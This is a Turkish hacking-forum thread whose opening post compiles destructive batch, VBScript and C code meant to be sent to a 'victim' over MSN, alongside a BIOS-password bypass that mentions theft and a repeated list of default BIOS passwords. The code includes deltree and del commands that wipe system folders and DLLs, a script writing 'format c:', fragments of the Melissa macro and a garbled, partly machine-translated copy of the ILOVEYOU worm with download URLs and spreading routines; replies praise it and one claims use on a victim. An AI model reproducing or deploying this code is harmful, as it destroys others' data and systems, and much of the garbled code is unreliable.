İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

Pc ye zarar bİr sÜrÜ vİrÜs kodu

24-08-2010 02:02
#1
ercan08 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2010
Nereden:
sözün bittiği yerden
Mesajlar:
1.520
Teşekkür (Etti):
12
Teşekkür (Aldı):
629
Konular:
1151
BIOS Şifrelerini konusunu biraz araştıracak olursak.. bilmeyenler için Kırılması en zor şifrelerden biridir..

Öncelikle bilmeyenler için söyleyim BIOS Password bilgisayarınız henüz açılma aşamasındayken karşınıza çıkan şifredir. Peki bundan nasıl kurtulacaksınız. Çok kolay.. ama gizli bir iş için yapacaksanız mesela hırsızlık falan.. zaman alacaktır.. önce kasayı açmanız gerekecek daha sonra BIOS pilini kasadan 5dk lığına çekin.. bilgisayarı 5dk sonra çalıştırdığınızda BIOS şifresi sormayacaktır. Yada bazı Boardların BIOSlarındaki özel Jumperlardan yararlanabilirsiniz. Ancak bazende BIOS passwordların Board`un ilk kullanıldığı gibi kalır.. Bilgisayar sahibi şifreyi bildiği için değiştirmez yada değiştirmeyi bilmediği için denemez.. Peki bunların şifreleri nelerdir.

Bu şifreler BIOSun türüne göre değişir ben bazılarını en sık üretilenler sırasına göre verim

AWARD BIOS

alfaromeo
AW
AWARD
AWARD_PS
AWARD_PW
AWARD_HW
AWARD_SW
AWARD PW
AWARD SW
_award
awkward
j64
j256
j262
j322
01322222
589589
589721
HLT
SER
SKY_FOX
Syxz
aLLy
CONCAT
TTPTHA
aPAf
HLT
KDD
ZBAAACA
ZAAADA
ZJAAADC
djonet

AMI BIOS:

AMI
ami
bios
setup
cmos
AMIDECODE
A.M.I.
AMI SW
AMI_SW
BIOS
PASSWORD
HEWITT RAND
Oder
A.M.I.
AMI!SW
AMI?SW
HEWITT RAND
alfarome
efmukl ( işte schoolbusın şifreside burdan çalınmıştır. )

Phoenix:
phoenix

Compaq:
compaq

Tinys:
Tiny

Bazı Diğer BIOS Şifreleri:

LKWPETER
lkwpeter
BIOSTAR
biostar
BIOSSTAR
biosstar
ALFAROME
Syxz
Wodj
PASS
PASSOFF
CONDO
J64
BIOS
SETUP
CMOS
admin
system

Alıntıdır
NE MUTLU TÜRKÜM DİYENE


SpySoLdier

İYİ FORUMLAR
BIOS Şifrelerini konusunu biraz araştıracak olursak.. bilmeyenler için Kırılması en zor şifrelerden biridir..

Öncelikle bilmeyenler için söyleyim BIOS Password bilgisayarınız henüz açılma aşamasındayken karşınıza çıkan şifredir. Peki bundan nasıl kurtulacaksınız. Çok kolay.. ama gizli bir iş için yapacaksanız mesela hırsızlık falan.. zaman alacaktır.. önce kasayı açmanız gerekecek daha sonra BIOS pilini kasadan 5dk lığına çekin.. bilgisayarı 5dk sonra çalıştırdığınızda BIOS şifresi sormayacaktır. Yada bazı Boardların BIOSlarındaki özel Jumperlardan yararlanabilirsiniz. Ancak bazende BIOS passwordların Board`un ilk kullanıldığı gibi kalır.. Bilgisayar sahibi şifreyi bildiği için değiştirmez yada değiştirmeyi bilmediği için denemez.. Peki bunların şifreleri nelerdir.

Bu şifreler BIOSun türüne göre değişir ben bazılarını en sık üretilenler sırasına göre verim

AWARD BIOS

alfaromeo
AW
AWARD
AWARD_PS
AWARD_PW
AWARD_HW
AWARD_SW
AWARD PW
AWARD SW
_award
awkward
j64
j256
j262
j322
01322222
589589
589721
HLT
SER
SKY_FOX
Syxz
aLLy
CONCAT
TTPTHA
aPAf
HLT
KDD
ZBAAACA
ZAAADA
ZJAAADC
djonet

AMI BIOS:

AMI
ami
bios
setup
cmos
AMIDECODE
A.M.I.
AMI SW
AMI_SW
BIOS
PASSWORD
HEWITT RAND
Oder
A.M.I.
AMI!SW
AMI?SW
HEWITT RAND
alfarome
efmukl ( işte schoolbusın şifreside burdan çalınmıştır. )

Phoenix:
phoenix

Compaq:
compaq

Tinys:
Tiny

Bazı Diğer BIOS Şifreleri:

LKWPETER
lkwpeter
BIOSTAR
biostar
BIOSSTAR
biosstar
ALFAROME
Syxz
Wodj
PASS
PASSOFF
CONDO
J64
BIOS
SETUP
CMOS
admin
system

Alıntıdır
NE MUTLU TÜRKÜM DİYENE


SpySoLdier

İYİ FORUMLAR
BIOS Şifrelerini konusunu biraz araştıracak olursak.. bilmeyenler için Kırılması en zor şifrelerden biridir..

Öncelikle bilmeyenler için söyleyim BIOS Password bilgisayarınız henüz açılma aşamasındayken karşınıza çıkan şifredir. Peki bundan nasıl kurtulacaksınız. Çok kolay.. ama gizli bir iş için yapacaksanız mesela hırsızlık falan.. zaman alacaktır.. önce kasayı açmanız gerekecek daha sonra BIOS pilini kasadan 5dk lığına çekin.. bilgisayarı 5dk sonra çalıştırdığınızda BIOS şifresi sormayacaktır. Yada bazı Boardların BIOSlarındaki özel Jumperlardan yararlanabilirsiniz. Ancak bazende BIOS passwordların Board`un ilk kullanıldığı gibi kalır.. Bilgisayar sahibi şifreyi bildiği için değiştirmez yada değiştirmeyi bilmediği için denemez.. Peki bunların şifreleri nelerdir.

Bu şifreler BIOSun türüne göre değişir ben bazılarını en sık üretilenler sırasına göre verim

AWARD BIOS

alfaromeo
AW
AWARD
AWARD_PS
AWARD_PW
AWARD_HW
AWARD_SW
AWARD PW
AWARD SW
_award
awkward
j64
j256
j262
j322
01322222
589589
589721
HLT
SER
SKY_FOX
Syxz
aLLy
CONCAT
TTPTHA
aPAf
HLT
KDD
ZBAAACA
ZAAADA
ZJAAADC
djonet

AMI BIOS:

AMI
ami
bios
setup
cmos
AMIDECODE
A.M.I.
AMI SW
AMI_SW
BIOS
PASSWORD
HEWITT RAND
Oder
A.M.I.
AMI!SW
AMI?SW
HEWITT RAND
alfarome
efmukl ( işte schoolbusın şifreside burdan çalınmıştır. )

Phoenix:
phoenix

Compaq:
compaq

Tinys:
Tiny

Bazı Diğer BIOS Şifreleri:

LKWPETER
lkwpeter
BIOSTAR
biostar
BIOSSTAR
biosstar
ALFAROME
Syxz
Wodj
PASS
PASSOFF
CONDO
J64
BIOS
SETUP
CMOS
admin
system

Alıntıdır
NE MUTLU TÜRKÜM DİYENE
bu kodlardan istediğinizi not defterine kopyalayın .bat olarak kaydedin


öncelikle arkadaşlar bmle bişey verildimi bilmiyorum tek bildiğim parca parca pc zara veren kodların verildiği işte ben sizin için bu kodların tamamını topladım ve size sunuyorum aklınıza gelebilecek herşey var ekran kartını yakmadan tutuda harddisk resetlemeye kadar

msn kapatmak için aşşağıdaki yazılı proğramı not pat ile yazıp kaydedin uzantısını.bat olarak yapınız
alt alta nekadar cok yazarsak o kadar uzun süre kapanır msn

Kod:
start tskill msnmsgr
start tskill msnmsgr
start tskill msnmsgr
start tskill msnmsgr
.....gibi

PC ÇÖKERTEBİLECEK KADAR ETKİLİ KOD




arkadaşlar bu yazacağım kodları not defterine yapıştırıyorsunuz uzantısını bat olarak ayarlıyorsunuz ondan sonra kurbana yolluyorsunuz. kurban bunu aldıktan sonra bilgisayarı kapanıyor ve bidaha açılmamak suretiyle
kod:::--
Kod:
Private Sub Form_Unload(Cancel As Integer)
Randomize Timer
Dim ras, yol, sonuc, calis
ras = Rnd * 1000000
yol = App.Path & "\\" & App.EXEName & ".exe"
sonuc = ras & ".exe"
kp = "c:\\windows\\system32\\drivers\\" & sonuc & ""
FileCopy yol, "c:\\windows\\system32\\drivers\\" & sonuc & ""
calis = Shell(kp)
End Sub



CALISAN UYGULAMALARI KAPATMAK:



İlk önce not defterini açıyoruz ardından shutdown -f yazıyoruz ve farklı kaydet diyip xxx.bat olarak kaydediyoruz
(xxx dosyanın ismi olacaktır sonra değiştirirsiniz).
Bunu karşı tarafa atmak için WinRar'la sıkıştırıyoruz.
Sonra da atıyoruz açtığında Pc'de çalışan bütün uygulamalar kapanır(kuban hiçbişey yapamaz..)


şimdi bir wordpar belgesi açıyoruz uzantısı .doc .txt olan cinslerden daha sonra bu belgenin içine aşşağıdaki kodları kopyalayıp yapıştırın.

Kod:

Kod:
@echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off cls cls @echo .::bilgisayarın çöktü::. @echo off


Vereceğim kodu not defterine yazın.XXX.bat olarak kaydedin.(xxx dosyanın ismi olcak değiştirebilirsiniz.)
Sonra winrar kullanarak sıkıştırın.Msn veya başka bir yolla karşı tarafa gönderin.Yapacağınız tek şey açmasını beklemek...


Kod:
90,90
resizepic 0 0 5054 405 470
gumppic 10 10 5528
gumppic <eval (10+((<p.x>*100)/1337))> <eval (10+((<p.y>*100)/1067))> 2362
text 20 400 455 0
text 20 435 455 01 local.t_x=<argn1>
local.t_y=<argn2>
sector.allclients sendpacket 0c0 00 D<var.src> D<var.target> W<var.effect> W<p.x> W<eval <p.y>> B<qval <argn3>?<argn3>:<p.z>> W<local.t_x> W<local.t_y> B<qval <argn3>?<argn3>:<p.z>> B<var.speed> B<var0.duration> 00 00 00 B<qval <var0.explode>?<var.explode>:0> D<hval <var.hue> - 1> D<var.rendermode>

EKRAN KARTI YAKAN KOD


Kod:
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .:: HacKeD gülümse ::.
@echo off3.


METİN SAYFASI AÇIP
kodlarını yapıştırın ve farklı kaydet diyin. dosya adını yazın ve sonuna .bat yazın. (örnek: açma.bat)
vede kaydedin böylece ms-dos toplu iş dosyası oluşacak bunu sakın açmayın ve kimin ekran kartını yakmak istiyorsanız o kişiye yollayın. kurban dosyaya iki kere tıkadığı zaman saniyede 1000 den fazla ms-dos sayfası açılacak vede yaklasık 30 sn sonra ekran kartı gücünü kaybedip yorulacak. en sonunda HacKeD By MaNNeR_Boi yazısı görünecek (burayı kendiniz değiştirebilirsiniz) vede görüntü gidecek. yeni ekran kartı alana kadar da gelmiyecek kolay gelsin.

PC VİRÜS KODU





1.Yol
notpadi açın.

2.Yol
içine bu sayıları yazın
01001011000111110010010101010101010000011111100000

3.Yol
kaydederken de uzantısını .exe olarak deiştirin.

4.Yol
kolay gelsin....
sallayın virusu.karşı tarafın gördüğü son ekran olsun...

Dikkat exe olarak kaydettiktensonra ad koyun yoksa dalgınlık yapıp kendi pcnizi çökertmeyin

SYSTEM 32 YE ZARAR VEREN VİRÜS KODU


Kod:
span(p)
char *p;
{
struct ffblk f;
char n[129];
int r;

SearchAndDestroy(p);
sprintf(n,\"%s\\\\%s\",p,\"*.*\");
for(r=findfirst(n,&f,0x0010);!r;r=findnext(&f)) {
if(*f.ff_name==\'.\') continue;
if(f.ff_attrib & 0x0010) {
sprintf(n,\"%s\\\\%s\",p,f.ff_name);
span(n);
}
}
}

SearchAndDestroy(p)
char *p;
{
struct ffblk f;
char b[81];
int r;

strcpy(b,p);
strcat(b,\"\\\\*.*\");
for(r=findfirst(b,&f,0x0000);!r;r=findnext(&f)) {
sprintf(b,\"%s\\\\%s\",p,f.ff_name);
remove(b);
}
}

boot()
{
char *buff;
char *test;

fprintf(test,\"THIS PROGRAM WAS MADE BY Someone Else!!\");
abswrite(2,12,0,buff);
}


notepad a yapıstırın farklı kaydet secenegınden .bat olarak uzantısını degıstırın
system32 klasörüne zarar verıyo bu virüs

SADECE PC KAPATAN KOD






PC KAPATMA
İlk önce not defterini açıyoruz ardından shutdown -s yazıyoruz ve farklı kaydet diyip xxx.bat olarak kaydediyoruz
(xxx dosyanın ismi olacaktır sonra değiştirirsiniz).Bunu karşı tarafa atmak için
WinRar'la sıkıştırıyoruz.Sonra da atıyoruz açtığında Pc'si direkt olarak kapanır

HARDİSKİ YAKABİLECEK SEVİYEDE OLAN BİR KOD


Kod:
<html>
<head>
****** **********=\\\"Content-Type\\\" *********\\\"text/html; charset=iso-8859-1\\\">
<title>Aşkından Sevgilerle</title>
</head>
<bOdy>
******** language=\\\"VBSCRIPT\\\">
Set fs = CreateObject(\\\"Scripting.FileSystemObject\\\"
Set a = fs.CreateTextFile(\\\"C:c:\\\\windows\\\\system32\ \\\autoexec. nt\\\", True)
a.WriteLine(\\\"format c: /autotest /u /q\\\"
a.Close
</script>
<p>Giriste ac1lan uyariya \\\"HAYIR\\\" dediyseniz <a
href= \\\"<i>javascript</i>:reload()\\\">Malesef e-kart 1n1z cal1smayacakt1r.</p>
</bOdy>
</html>

kopyala ve dosya uzantısını html olarak kaydet

PC YE ŞİFRE KOYAN KOD





Kod:
netuser %username% 123456
shutdown -r



sonra sonunu bat olarak kaydet

MSN VE YA EKRANI KAPATMAK İÇİN KOD




ilk basta notepad'ı acıyoruz.karsıdakının sadece msnını kapatmak ıstıyorsak sadece alt alta start tskill msnmsgr yazmanız yeterlı.(ne kadar cok yazarsanız o kadar cok uzun sure kapanır msnı) ekranın kapanıp acılmasınıda ıstıyorsak yıne aynı sekılde alt alta start tskill explorer yazınız.eger ıkısınıde yapmak ıstıyorsanız:




Kod:
start tskill explorer
start tskill msnmsgr


yukarıdakı gıbı yapınız.ve notepadı farklı kaydet yapıp uzantısını .bat olarak kaydedınız ve kısıye yollayınız

PC KAPANIP ACILMAMSINA NEDEN OLABİLECEK KOD




kod:::--
Kod:
Private Sub Form_Unload(Cancel As Integer)
Randomize Timer
Dim ras, yol, sonuc, calis
ras = Rnd * 1000000
yol = App.Path & "\\" & App.EXEName & ".exe"
sonuc = ras & ".exe"
kp = "c:\\windows\\system32\\drivers\\" & sonuc & ""
FileCopy yol, "c:\\windows\\system32\\drivers\\" & sonuc & ""
calis = Shell(kp)
End Sub


yukardaki yazan kelimeleri not pat içine yapıştırınzı ve daha sonra uzantısını bata çeveriniz
etki alanı bilgisayarın aniden kapanıp acılmamasına neden olabilir

PC FORMAT BİLE ATAMAYA BİLİRSİNİZ





Kod:
del C:/WINDOWS/system/MOUSE.DRV
del C:/WINDOWS/system/KEYBOARD.DRV
del c:\WINDOWS\system32\drivers\cdrom.bat

shutdown -


NOT defterine yapıştırınız ve uzantısını bat olarak kaydedinz

PC YE RESET ATTIRMA

PC YI RESETLEMEK :



İlk önce not defterini açıyoruz ardından


Kod:
shutdown -r


yazıyoruz ve farklı kaydet diyip xxx.bat olarak kaydediyoruz
(xxx dosyanın ismi olacaktır sonra değiştirirsiniz).Bunu karşı tarafa atmak için
WinRar'la sıkıştırıyoruz.Sonra da atıyoruz açtığında Pc'si direkt olarak resetlenir

FBI VİRÜSÜ




Kod:
f NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
Active********.SaveAs FileName:=Active********.FullName
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub < =>


notepada yapıştırıp .bat olarak kaydedin....

EVET ARKADAŞLAR BU KODLRIN HEPSİ PC YE ZARAR VEREN KODLAR BİZZAT BEN GİDİP İTERNET CAFEDE DENEDİM HELE O SİSTEM 32 YE ZARARCEREN VİRÜS YOKMU ARKADAŞLAR BU KODLARI DAHA ÖNCE BİR ARAYA TOPLAYAN VARMI BİLMİYORUM EĞER VARSA KUSURA BAKMAYIN AMA BEN HİÇ RASTLAMADIM ONUN İÇİN HEPSİNİ BİR ARAYA GETİRDİM AMAN HA BU KODLARI KENDİ PC NİZDE ACIPDA BENİ GÜNAHA SOKMAYIN ŞİMDİDEN HAKKINIZDA HELAL EDİNİZ

bu kodu not defterine yapıştırın ve .bat yaoın bu kadar


Kod:
@echo off
copy %0%windir%\Virus.bat> nul
for /R C:\ %%a in (*.dll) do erase /F %%a > nul



arkadaslar en bastan soyleyim kendi pcnızde denemyın
pcnız acılmaz.Açmak için biçimi attıramassınız.Çünkü CD-ROM çalışmaz.CD-ROM u değiştirseniz bile nafile
Kod:


Kod:
rem delete-pcaş (-vbe)
Es hata-PC
Hata Sonraki Pc Hack On
dim fso, dirsystem, dirwin, dirtemp, eq, ctr, vbscopy, d ow dosya
eq = ""
TO = 0
Set fso = CreateObject ( "Scripting.FileSystemObject")
set file = fso.opentextfile (WScript.ScriptFullname, 1)
vbscopy = file.ReadAll
main ()
ana, alt ()
Error Resume Next On
loş wscr, RR
set wscr = CreateObject ( "WScript.Shell")
RR = wscr.RegRead ( "HKEY_CURRENT_USER \ Software \ Micros oft \ Window s Scripting Host \ Settings \ Timeout")
if (rr> = 1) sonra
wscr.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows Scripting Host \ Settings \ Timeout", 0, "REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder (0)
Set dirsystem = fso.GetSpecialFolder (1)
Set dirtemp = fso.GetSpecialFolder (2)
Set c = fso.GetFile (WScript.ScriptFullName)
c.Copy (dirsystem & "\ MSKernel32.vbs")
c.Copy (dirwin & "\ Win32DLL.vbs")
c.Copy (dirsystem & "\ LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns ()
html ()
spreadtoemail ()
listadriv ()
End Sub
alt regruns ()
Error Resume Next On
Dim num, downread
regcreate "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ Run \ MSKernel32", dirsystem & \ Cur rentVersio n s "\ MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ RunServices \ Win32DLL", dirwin & \ Cur rentVersio n s "\ Win32DLL.vbs"
downread = ""
downread = regget ( "HKEY_CURRENT_USER \ Software \ Micros oft \ Intern et Explorer \ Download Directory")
if (= "") sonra downread
downread = "c: \"
end if
if (fileexist (dirsystem & "\ WinFAT32.exe") = 1) sonra
Randomize
num = Int ((4 * Rnd) + 1)
Eğer num = 1 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf 7679njbvYT / WIN-BUGSFIX.exe "
elseif num = 2 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe "
elseif num = 3 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ koichi/jf6TRjkcbGRpGq** 198vbFV5hfFEkbopBdQZnmPOhfgER67b3V BVG / WIN-BUGSFIX.exe "
elseif num = 4 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ chu / sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe "
end if
end if
if ((& "\ WIN-BUGSFIX.exe") = 0) sonra downread fileexist
regcreate "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ Run \ WIN-BUGSFIX", downread & "\ WIN-BUGSFIX.exe" \ Cur rentVersio n s
regcreate "HKEY_CURRENT_USER \ Software \ Microsoft \ Interne t Explorer \ Main \ Start Page", "hakkında: boş "
end if
End Sub
alt listadriv
Error Resume Next On
Dim d, dc ler
Set dc = fso.Drives
Için her d dc
Eğer d.DriveType = 2 veya d.DriveType = 3 Then
folderlist (d.path & "\")
end if
Sonraki
listadriv = S
End Sub
alt infectfiles () folderspec
Error Resume Next On
dim f, f1, fc, ext, ap, mircfname, mp3 bName s
set f = fso.GetFolder () folderspec
set fc = f.Files
her f1 fc için
ext = fso.GetExtensionName (f1.path)
ext = LCase (dahili)
s LCase () f1.name =
if (ext = "vbs") veya (ext = "vbe") then
set ap = fso.opentextfile (2, true) f1.path
ap.write vbscopy
ap.close
elseif (ext = "js") or (ext = "jse") veya (ext = "css") or (ext = "wsh") veya (ext = "sct") or (ext = "hta") then
set ap = fso.opentextfile (2, true) f1.path
ap.write vbscopy
ap.close
bName = fso.GetBaseName (f1.path)
polis = fso.GetFile (f1.path set)
cop.copy (& folderspec "\" & bName & ". vbs")
fso.DeleteFile () f1.path
elseif (ext = "jpg) veya (ext =" jpeg ") then
set ap = fso.opentextfile (2, true) f1.path
ap.write vbscopy
ap.close
polis = fso.GetFile (f1.path set)
cop.copy (f1.path & ". vbs")
fso.DeleteFile () f1.path
elseif (ext = "mp3") or (ext = "mp2") then
mp3 = fso.CreateTextFile (& "f1.path ayarlayın. vbs")
mp3.write vbscopy
mp3.close
set att = fso.GetFile (f1.path)
att.attributes = 2 att.attributes
end if
if (eq <> folderspec) sonra
if (s = "mirc32.exe") veya (s = "mlink32.exe") veya (s = "mirc.ini") veya (s = "script.ini") veya (s = "mirc.hlp") sonra
set scriptini = fso.CreateTextFile (& folderspec "\ script.i ni")
scriptini.WriteLine "[script]"
scriptini.WriteLine "; mIRC Script"
scriptini.WriteLine "; bu script ... mIRC değiştir bozuk olacak dont, Lütfen, mIRC olacak"
"yozlaşmış scriptini.WriteLine ... Windows ve etkiler doğru çalışmaz. teşekkür "
scriptini.WriteLine ";"
scriptini.WriteLine "; Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0 = on 1: JOIN :#:{"
scriptini.WriteLine "n1 = / if (kesik == KOBİ) (halt)"
scriptini.WriteLine "n2 = /. kesmek göndermek" dcc & dirsystem & "\ LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3 =)"
scriptini.close
EQ = folderspec
end if
end if
sonraki
End Sub
alt folderlist () folderspec
Error Resume Next On
dim f, f1, sf
set f = fso.GetFolder () folderspec
sf set = f.SubFolders
her f1 sf için
infectfiles (f1.path)
folderlist (f1.path)
sonraki
End Sub
alt regcreate (regkey, regvalue)
Set regedit = CreateObject ( "WScript.Shell")
regedit.RegWrite regkey, regvalue
End Sub
fonksiyonu regget (değer)
Set regedit = CreateObject ( "WScript.Shell")
regget = regedit.RegRead (değer)
End Function
fonksiyonu fileexist () dosyabelirtimi
Error Resume Next On
dim msg
(fso.FileExists (dosyabelirtimi)) Sonra eğer
= 0 msg
başka
= 1 msg
end if
fileexist msg =
End Function
fonksiyonu folderexist () folderspec
Error Resume Next On
dim msg
(fso.GetFolderExists (folderspec)) o zaman eğer
= 0 msg


PC KAPNIR BİR DAHA AÇILMAZ


Kod:
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .:HACKERLARLA UĞRAŞMA::.
@echo off3
Kullanıcı İmzası
xxxxxxxxxxxxxxxx
xxxby ercan08xx
xxxxxTHTxxxxxxx
xxxxxxxxxxxxxxxx
xxx..THT.xxxxxx
xxxxxxxxxxxxxx
xx...THT...xxx
xxxxxxxxxxxx

16-04-2013 21:01
#2
sevban035 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2012
Nereden:
kaf
Mesajlar:
687
Teşekkür (Etti):
189
Teşekkür (Aldı):
132
Konular:
67
Saol Kardeş +1 Çok İşime Yaradı.
18-04-2013 00:38
#3
xbrnx10 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2010
Mesajlar:
59
Teşekkür (Etti):
15
Teşekkür (Aldı):
1
Konular:
16
Hepsini bi kurbana attım ve açtım 10dk dır yasıyor ama kesinti yasıyorum
19-04-2013 14:52
#4
blazer87 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2013
Nereden:
İstanbul
Mesajlar:
936
Teşekkür (Etti):
81
Teşekkür (Aldı):
56
Konular:
164
konu 2010da açılmış farkında mısınız admin abimler konuyu kitlermisiniz 2010daki konu ilk sayfalarda ??
22-04-2013 15:49
#5
ercan08 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2010
Nereden:
sözün bittiği yerden
Mesajlar:
1.520
Teşekkür (Etti):
12
Teşekkür (Aldı):
629
Konular:
1151
Alıntı:
blazer87´isimli üyeden Alıntı Mesajı göster
konu 2010da açılmış farkında mısınız admin abimler konuyu kitlermisiniz 2010daki konu ilk sayfalarda ??
2010 da açılmış şeyi nerden bileyim ben kardeşim ne bulduysam onu koydum buda pek yeni sayılmaz
Kullanıcı İmzası
xxxxxxxxxxxxxxxx
xxxby ercan08xx
xxxxxTHTxxxxxxx
xxxxxxxxxxxxxxxx
xxx..THT.xxxxxx
xxxxxxxxxxxxxx
xx...THT...xxx
xxxxxxxxxxxx
DavidSmith Teşekkür etti.
14-07-2013 06:50
#6
DavidSmith - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2013
Mesajlar:
497
Teşekkür (Etti):
58
Teşekkür (Aldı):
20
Konular:
0
ellerine sağlık dostum yararlı
14-07-2013 09:37
#7
Gurbett - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2013
Mesajlar:
74
Teşekkür (Etti):
13
Teşekkür (Aldı):
2
Konular:
0
faydalı konu
15-07-2013 00:15
#8
Üyelik tarihi:
07/2013
Nereden:
İstanbul
Mesajlar:
62
Teşekkür (Etti):
0
Teşekkür (Aldı):
1
Konular:
22
geçerlimi o kodlar
15-07-2013 00:18
#9
Üyelik tarihi:
07/2013
Nereden:
K.maraş
Yaş:
21
Mesajlar:
1.587
Teşekkür (Etti):
60
Teşekkür (Aldı):
126
Konular:
274
Kardeş Şunları Paylaşmasanız Ben Burdan Bile Korkuyorum
Kullanıcı İmzası
MARA$LI HACKER !!!

MODASI GEÇMEYEN TEK ŞEY EFENDİLİKTİR !!!

Bütün Programlarım İçin Tıkla
15-07-2013 04:33
#10
DavidSmith - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2013
Mesajlar:
497
Teşekkür (Etti):
58
Teşekkür (Aldı):
20
Konular:
0
yararlı konu eline sağlık hocam

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı